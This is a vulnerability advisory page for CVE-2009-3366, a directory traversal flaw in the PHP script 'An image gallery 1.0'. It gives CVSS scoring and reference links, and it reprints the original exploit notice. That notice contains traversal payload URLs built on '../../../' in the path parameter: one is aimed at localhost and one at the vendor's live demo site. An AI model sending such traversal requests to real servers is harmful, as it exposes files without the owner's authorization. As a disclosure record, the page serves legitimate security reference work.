An image gallery 1.0 (navigation.php) Local Directory Traversal Vuln

2009-09-25 / 2009-09-26

Credit: ThE g0bL!N

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2009-3366

CWE: CWE-22

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: None

Availability impact: None

-------------------------------------------------------------------------
An image gallery 1.0(navigation.php) Local Directory Traversal
-------------------------------------------------------------------------
# Author  : ThE g0bL!N
# Download  : http://www.plohni.com/wb/content/php/download/An_image_gallery_1-0.zip
# Note: Algerie 1 - 0 Zambie
============================================
# Exploit  :
-----------
 http://localhost/PATH/navigation.php?path=../../../../../../../
#ex   :
-------
http://www.plohni.com/wb/content/php/demos/An_image_gallery/navigation.php?path=../../../../../../../windows/
============================================
Greetz:His0k4 & All My Friends
-------------------------------------------------------------------------

References:

http://xforce.iss.net/xforce/xfdb/53148

http://www.milw0rm.com/exploits/9636

http://secunia.com/advisories/36680

http://osvdb.org/57943

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

An image gallery 1.0 (navigation.php) Local Directory Traversal Vuln

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.